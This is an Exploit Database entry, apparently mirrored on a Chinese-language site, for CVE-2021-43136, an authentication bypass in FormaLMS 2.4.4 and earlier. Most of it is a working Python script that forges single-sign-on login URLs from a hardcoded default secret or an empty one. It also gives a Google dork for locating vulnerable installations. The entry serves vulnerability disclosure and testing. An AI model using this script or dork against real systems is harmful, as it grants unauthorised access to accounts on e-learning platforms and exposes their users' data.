FormaLMS 2.4.4 – Authentication Bypass

• Exploit Database
• 18 阅读

• 作者： Cristian \'void\' Giustini
  日期： 2021-11-11
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50513/

• # Exploit Title: FormaLMS 2.4.4 - Authentication Bypass
  # Google Dork: inurl:index.php?r=adm/
  # Date: 2021-11-10
  # Exploit Author: Cristian 'void' Giustini @ Hacktive Security
  # Vendor Homepage: https://formalms.org
  # Software Link:https://formalms.org
  # Version: <= 2.4.4
  # Tested on: Linux
  # CVE : CVE-2021-43136
  
  # Info: An authentication bypass issue in FormaLMS <= 2.4.4 allows an attacker to bypass the authentication mechanism and obtain a valid access to the platform.
  
  # Analysis:
  https://blog.hacktivesecurity.com/index.php/2021/10/05/cve-2021-43136-formalms-the-evil-default-value-that-leads-to-authentication-bypass/
  
  # Nuclei template:
  https://gist.github.com/hacktivesec/d2160025d24c5689d1bc60173914e004#file-formalms-authbypass-yaml
  
  #!/usr/bin/env python
  
  """
  
  The following exploit generates two URLs with empty and fixed value of the "secret". In order to achieve a successful exploitation the "Enable SSO with a third party software through a token" setting needs to be enabled
  
  """
  
  import sys
  import time
  import hashlib
  
  secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c" 
  
   def help():
  
  print(f"Usage: {sys.argv[0]} username target_url")
  
  sys.exit()
  
   
  if len(sys.argv) < 3:
  
  help()
  
  user, url = (sys.argv[1], sys.argv[2])
  t = str(int(time.time()) + 5000)
  token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper()
  final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
  print(f"URL with default secret: {final_url}")
  token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper()
  final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
  print(f"URL with empty secret: {final_url}")